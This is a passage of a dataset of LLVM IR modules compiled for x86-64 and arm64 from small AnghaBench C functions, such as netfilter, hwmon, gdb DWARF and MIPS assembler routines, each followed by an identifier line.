ptr %35, align 8, !tbaa !10 %37 = load ptr, ptr %36, align 8, !tbaa !13 %38 = tail call i32 @VectorSubtract(ptr noundef undef, ptr noundef undef, ptr noundef %37) #3 %39 = load ptr, ptr %35, align 8, !tbaa !10 %40 = load ptr, ptr %39, align 8, !tbaa !13 %41 = tail call i32 @VectorAdd(ptr noundef %40, ptr noundef undef, ptr noundef %40) #3 %42 = load ptr, ptr %35, align 8, !tbaa !10 %43 = getelementptr inbounds i8, ptr %42, i64 8 %44 = load ptr, ptr %43, align 8, !tbaa !13 %45 = tail call i32 @VectorAdd(ptr noundef undef, ptr noundef undef, ptr noundef %44) #3 %46 = load ptr, ptr %35, align 8, !tbaa !10 %47 = getelementptr inbounds i8, ptr %46, i64 8 %48 = load ptr, ptr %47, align 8, !tbaa !13 %49 = tail call i32 @VectorAdd(ptr noundef %48, ptr noundef undef, ptr noundef %48) #3 %50 = load ptr, ptr %35, align 8, !tbaa !10 %51 = getelementptr inbounds i8, ptr %50, i64 16 %52 = load ptr, ptr %51, align 8, !tbaa !13 %53 = tail call i32 @VectorAdd(ptr noundef undef, ptr noundef undef, ptr noundef %52) #3 %54 = load ptr, ptr %35, align 8, !tbaa !10 %55 = getelementptr inbounds i8, ptr %54, i64 16 %56 = load ptr, ptr %55, align 8, !tbaa !13 %57 = tail call i32 @VectorSubtract(ptr noundef %56, ptr noundef undef, ptr noundef %56) #3 %58 = load ptr, ptr %35, align 8, !tbaa !10 %59 = getelementptr inbounds i8, ptr %58, i64 24 %60 = load ptr, ptr %59, align 8, !tbaa !13 %61 = tail call i32 @VectorSubtract(ptr noundef undef, ptr noundef undef, ptr noundef %60) #3 %62 = load ptr, ptr %35, align 8, !tbaa !10 %63 = getelementptr inbounds i8, ptr %62, i64 24 %64 = load ptr, ptr %63, align 8, !tbaa !13 %65 = tail call i32 @VectorSubtract(ptr noundef %64, ptr noundef undef, ptr noundef %64) #3 %66 = getelementptr inbounds i8, ptr %35, i64 8 store i32 4, ptr %66, align 8, !tbaa !14 ret ptr %35 } declare i32 @fabs(i32 noundef) local_unnamed_addr #1 declare i32 @Error(ptr noundef) local_unnamed_addr #1 declare i32 @VectorCopy(i32 noundef, ptr noundef) local_unnamed_addr #1 declare i32 @DotProduct(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @VectorMA(ptr noundef, i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @VectorNormalize(ptr noundef) local_unnamed_addr #1 declare i32 @VectorScale(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1 declare i32 @CrossProduct(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 declare ptr @AllocWinding(i32 noundef) local_unnamed_addr #1 declare i32 @VectorSubtract(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @VectorAdd(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare i32 @llvm.smax.i32(i32, i32) #2 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !12, i64 0} !11 = !{!"TYPE_4__", !12, i64 0, !7, i64 8} !12 = !{!"any pointer", !8, i64 0} !13 = !{!12, !12, i64 0} !14 = !{!11, !7, i64 8}
lab_engine_code_bspc_extr_l_poly.c_BaseWindingForPlane
; ModuleID = 'AnghaBench/linux/net/netfilter/extr_nf_tables_api.c_nft_value_dump.c' source_filename = "AnghaBench/linux/net/netfilter/extr_nf_tables_api.c_nft_value_dump.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @NFTA_DATA_VALUE = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @nft_value_dump], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @nft_value_dump(ptr noundef %0, ptr nocapture noundef readonly %1, i32 noundef %2) #0 { %4 = load i32, ptr @NFTA_DATA_VALUE, align 4, !tbaa !5 %5 = load i32, ptr %1, align 4, !tbaa !9 %6 = tail call i32 @nla_put(ptr noundef %0, i32 noundef %4, i32 noundef %2, i32 noundef %5) #2 ret i32 %6 } declare i32 @nla_put(ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !6, i64 0} !10 = !{!"nft_data", !6, i64 0}
; ModuleID = 'AnghaBench/linux/net/netfilter/extr_nf_tables_api.c_nft_value_dump.c' source_filename = "AnghaBench/linux/net/netfilter/extr_nf_tables_api.c_nft_value_dump.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @NFTA_DATA_VALUE = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @nft_value_dump], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @nft_value_dump(ptr noundef %0, ptr nocapture noundef readonly %1, i32 noundef %2) #0 { %4 = load i32, ptr @NFTA_DATA_VALUE, align 4, !tbaa !6 %5 = load i32, ptr %1, align 4, !tbaa !10 %6 = tail call i32 @nla_put(ptr noundef %0, i32 noundef %4, i32 noundef %2, i32 noundef %5) #2 ret i32 %6 } declare i32 @nla_put(ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 0} !11 = !{!"nft_data", !7, i64 0}
linux_net_netfilter_extr_nf_tables_api.c_nft_value_dump
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/hwmon/extr_w83627hf.c_show_in_max.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/hwmon/extr_w83627hf.c_show_in_max.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @.str = private unnamed_addr constant [5 x i8] c"%ld\0A\00", align 1 @llvm.compiler.used = appending global [1 x ptr] [ptr @show_in_max], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @show_in_max(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 { %4 = tail call ptr @to_sensor_dev_attr(ptr noundef %1) #2 %5 = load i32, ptr %4, align 4, !tbaa !5 %6 = tail call ptr @w83627hf_update_device(ptr noundef %0) #2 %7 = load ptr, ptr %6, align 8, !tbaa !10 %8 = sext i32 %5 to i64 %9 = getelementptr inbounds i32, ptr %7, i64 %8 %10 = load i32, ptr %9, align 4, !tbaa !13 %11 = tail call i64 @IN_FROM_REG(i32 noundef %10) #2 %12 = tail call i32 @sprintf(ptr noundef %2, ptr noundef nonnull @.str, i64 noundef %11) #2 ret i32 %12 } declare ptr @to_sensor_dev_attr(ptr noundef) local_unnamed_addr #1 declare ptr @w83627hf_update_device(ptr noundef) local_unnamed_addr #1 declare i32 @sprintf(ptr noundef, ptr noundef, i64 noundef) local_unnamed_addr #1 declare i64 @IN_FROM_REG(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"TYPE_2__", !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !12, i64 0} !11 = !{!"w83627hf_data", !12, i64 0} !12 = !{!"any pointer", !8, i64 0} !13 = !{!7, !7, i64 0}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/hwmon/extr_w83627hf.c_show_in_max.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/hwmon/extr_w83627hf.c_show_in_max.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @.str = private unnamed_addr constant [5 x i8] c"%ld\0A\00", align 1 @llvm.used = appending global [1 x ptr] [ptr @show_in_max], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @show_in_max(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 { %4 = tail call ptr @to_sensor_dev_attr(ptr noundef %1) #2 %5 = load i32, ptr %4, align 4, !tbaa !6 %6 = tail call ptr @w83627hf_update_device(ptr noundef %0) #2 %7 = load ptr, ptr %6, align 8, !tbaa !11 %8 = sext i32 %5 to i64 %9 = getelementptr inbounds i32, ptr %7, i64 %8 %10 = load i32, ptr %9, align 4, !tbaa !14 %11 = tail call i64 @IN_FROM_REG(i32 noundef %10) #2 %12 = tail call i32 @sprintf(ptr noundef %2, ptr noundef nonnull @.str, i64 noundef %11) #2 ret i32 %12 } declare ptr @to_sensor_dev_attr(ptr noundef) local_unnamed_addr #1 declare ptr @w83627hf_update_device(ptr noundef) local_unnamed_addr #1 declare i32 @sprintf(ptr noundef, ptr noundef, i64 noundef) local_unnamed_addr #1 declare i64 @IN_FROM_REG(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"TYPE_2__", !8, i64 0} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !13, i64 0} !12 = !{!"w83627hf_data", !13, i64 0} !13 = !{!"any pointer", !9, i64 0} !14 = !{!8, !8, i64 0}
fastsocket_kernel_drivers_hwmon_extr_w83627hf.c_show_in_max
; ModuleID = 'AnghaBench/freebsd/contrib/gdb/gdb/extr_dwarf2read.c_read_tag_string_type.c' source_filename = "AnghaBench/freebsd/contrib/gdb/gdb/extr_dwarf2read.c_read_tag_string_type.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.dwarf2_cu = type { i64, ptr } @DW_AT_string_length = dso_local local_unnamed_addr global i32 0, align 4 @DW_AT_byte_size = dso_local local_unnamed_addr global i32 0, align 4 @FT_INTEGER = dso_local local_unnamed_addr global i32 0, align 4 @language_fortran = dso_local local_unnamed_addr global i64 0, align 8 @FT_CHAR = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @read_tag_string_type], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @read_tag_string_type(ptr noundef %0, ptr noundef %1) #0 { %3 = getelementptr inbounds %struct.dwarf2_cu, ptr %1, i64 0, i32 1 %4 = load ptr, ptr %3, align 8, !tbaa !5 %5 = load ptr, ptr %0, align 8, !tbaa !11 %6 = icmp eq ptr %5, null br i1 %6, label %7, label %32 7: ; preds = %2 %8 = load i32, ptr @DW_AT_string_length, align 4, !tbaa !13 %9 = tail call ptr @dwarf2_attr(ptr noundef nonnull %0, i32 noundef %8, ptr noundef nonnull %1) #2 %10 = icmp eq ptr %9, null br i1 %10, label %11, label %15 11: ; preds = %7 %12 = load i32, ptr @DW_AT_byte_size, align 4, !tbaa !13 %13 = tail call ptr @dwarf2_attr(ptr noundef nonnull %0, i32 noundef %12, ptr noundef nonnull %1) #2 %14 = icmp eq ptr %13, null br i1 %14, label %18, label %15 15: ; preds = %11, %7 %16 = phi ptr [ %9, %7 ], [ %13, %11 ] %17 = tail call i32 @DW_UNSND(ptr noundef nonnull %16) #2 br label %18 18: ; preds = %15, %11 %19 = phi i32 [ 1, %11 ], [ %17, %15 ] %20 = load i32, ptr @FT_INTEGER, align 4, !tbaa !13 %21 = tail call ptr @dwarf2_fundamental_type(ptr noundef %4, i32 noundef %20, ptr noundef nonnull %1) #2 %22 = tail call ptr @create_range_type(ptr noundef null, ptr noundef %21, i32 noundef 1, i32 noundef %19) #2 %23 = load i64, ptr %1, align 8, !tbaa !15 %24 = load i64, ptr @language_fortran, align 8, !tbaa !16 %25 = icmp eq i64 %23, %24 br i1 %25, label %29, label %26 26: ; preds = %18 %27 = load i32, ptr @FT_CHAR, align 4, !tbaa !13 %28 = tail call ptr @dwarf2_fundamental_type(ptr noundef %4, i32 noundef %27, ptr noundef nonnull %1) #2 br label %29 29: ; preds = %18, %26 %30 = phi ptr [ %28, %26 ], [ null, %18 ] %31 = tail call ptr @create_string_type(ptr noundef %30, ptr noundef %22) #2 store ptr %31, ptr %0, align 8, !tbaa !11 br label %32 32: ; preds = %2, %29 ret void } declare ptr @dwarf2_attr(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1 declare i32 @DW_UNSND(ptr noundef) local_unnamed_addr #1 declare ptr @dwarf2_fundamental_type(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1 declare ptr @create_range_type(ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare ptr @create_string_type(ptr noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !10, i64 8} !6 = !{!"dwarf2_cu", !7, i64 0, !10, i64 8} !7 = !{!"long", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"any pointer", !8, i64 0} !11 = !{!12, !10, i64 0} !12 = !{!"die_info", !10, i64 0} !13 = !{!14, !14, i64 0} !14 = !{!"int", !8, i64 0} !15 = !{!6, !7, i64 0} !16 = !{!7, !7, i64 0}
; ModuleID = 'AnghaBench/freebsd/contrib/gdb/gdb/extr_dwarf2read.c_read_tag_string_type.c' source_filename = "AnghaBench/freebsd/contrib/gdb/gdb/extr_dwarf2read.c_read_tag_string_type.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @DW_AT_string_length = common local_unnamed_addr global i32 0, align 4 @DW_AT_byte_size = common local_unnamed_addr global i32 0, align 4 @FT_INTEGER = common local_unnamed_addr global i32 0, align 4 @language_fortran = common local_unnamed_addr global i64 0, align 8 @FT_CHAR = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @read_tag_string_type], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @read_tag_string_type(ptr noundef %0, ptr noundef %1) #0 { %3 = getelementptr inbounds i8, ptr %1, i64 8 %4 = load ptr, ptr %3, align 8, !tbaa !6 %5 = load ptr, ptr %0, align 8, !tbaa !12 %6 = icmp eq ptr %5, null br i1 %6, label %7, label %32 7: ; preds = %2 %8 = load i32, ptr @DW_AT_string_length, align 4, !tbaa !14 %9 = tail call ptr @dwarf2_attr(ptr noundef nonnull %0, i32 noundef %8, ptr noundef nonnull %1) #2 %10 = icmp eq ptr %9, null br i1 %10, label %11, label %15 11: ; preds = %7 %12 = load i32, ptr @DW_AT_byte_size, align 4, !tbaa !14 %13 = tail call ptr @dwarf2_attr(ptr noundef nonnull %0, i32 noundef %12, ptr noundef nonnull %1) #2 %14 = icmp eq ptr %13, null br i1 %14, label %18, label %15 15: ; preds = %11, %7 %16 = phi ptr [ %9, %7 ], [ %13, %11 ] %17 = tail call i32 @DW_UNSND(ptr noundef nonnull %16) #2 br label %18 18: ; preds = %15, %11 %19 = phi i32 [ 1, %11 ], [ %17, %15 ] %20 = load i32, ptr @FT_INTEGER, align 4, !tbaa !14 %21 = tail call ptr @dwarf2_fundamental_type(ptr noundef %4, i32 noundef %20, ptr noundef nonnull %1) #2 %22 = tail call ptr @create_range_type(ptr noundef null, ptr noundef %21, i32 noundef 1, i32 noundef %19) #2 %23 = load i64, ptr %1, align 8, !tbaa !16 %24 = load i64, ptr @language_fortran, align 8, !tbaa !17 %25 = icmp eq i64 %23, %24 br i1 %25, label %29, label %26 26: ; preds = %18 %27 = load i32, ptr @FT_CHAR, align 4, !tbaa !14 %28 = tail call ptr @dwarf2_fundamental_type(ptr noundef %4, i32 noundef %27, ptr noundef nonnull %1) #2 br label %29 29: ; preds = %18, %26 %30 = phi ptr [ %28, %26 ], [ null, %18 ] %31 = tail call ptr @create_string_type(ptr noundef %30, ptr noundef %22) #2 store ptr %31, ptr %0, align 8, !tbaa !12 br label %32 32: ; preds = %2, %29 ret void } declare ptr @dwarf2_attr(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1 declare i32 @DW_UNSND(ptr noundef) local_unnamed_addr #1 declare ptr @dwarf2_fundamental_type(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1 declare ptr @create_range_type(ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare ptr @create_string_type(ptr noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !11, i64 8} !7 = !{!"dwarf2_cu", !8, i64 0, !11, i64 8} !8 = !{!"long", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"any pointer", !9, i64 0} !12 = !{!13, !11, i64 0} !13 = !{!"die_info", !11, i64 0} !14 = !{!15, !15, i64 0} !15 = !{!"int", !9, i64 0} !16 = !{!7, !8, i64 0} !17 = !{!8, !8, i64 0}
freebsd_contrib_gdb_gdb_extr_dwarf2read.c_read_tag_string_type
; ModuleID = 'AnghaBench/freebsd/contrib/binutils/gas/config/extr_tc-mips.c_move_insn.c' source_filename = "AnghaBench/freebsd/contrib/binutils/gas/config/extr_tc-mips.c_move_insn.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.mips_cl_insn = type { i64, ptr, ptr } %struct.TYPE_2__ = type { i64, ptr } @llvm.compiler.used = appending global [1 x ptr] [ptr @move_insn], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @move_insn(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 { %4 = getelementptr inbounds %struct.mips_cl_insn, ptr %0, i64 0, i32 2 store ptr %1, ptr %4, align 8, !tbaa !5 store i64 %2, ptr %0, align 8, !tbaa !11 %5 = getelementptr inbounds %struct.mips_cl_insn, ptr %0, i64 0, i32 1 %6 = load ptr, ptr %5, align 8, !tbaa !12 %7 = tail call i64 @ARRAY_SIZE(ptr noundef %6) #2 %8 = icmp eq i64 %7, 0 br i1 %8, label %22, label %9 9: ; preds = %3, %18 %10 = phi i64 [ %19, %18 ], [ 0, %3 ] %11 = load ptr, ptr %5, align 8, !tbaa !12 %12 = getelementptr inbounds ptr, ptr %11, i64 %10 %13 = load ptr, ptr %12, align 8, !tbaa !13 %14 = icmp eq ptr %13, null br i1 %14, label %18, label %15 15: ; preds = %9 %16 = getelementptr inbounds %struct.TYPE_2__, ptr %13, i64 0, i32 1 store ptr %1, ptr %16, align 8, !tbaa !14 %17 = load ptr, ptr %12, align 8, !tbaa !13 store i64 %2, ptr %17, align 8, !tbaa !16 br label %18 18: ; preds = %9, %15 %19 = add nuw i64 %10, 1 %20 = tail call i64 @ARRAY_SIZE(ptr noundef nonnull %11) #2 %21 = icmp ult i64 %19, %20 br i1 %21, label %9, label %22, !llvm.loop !17 22: ; preds = %18, %3 %23 = tail call i32 @install_insn(ptr noundef nonnull %0) #2 ret void } declare i64 @ARRAY_SIZE(ptr noundef) local_unnamed_addr #1 declare i32 @install_insn(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !10, i64 16} !6 = !{!"mips_cl_insn", !7, i64 0, !10, i64 8, !10, i64 16} !7 = !{!"long", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple 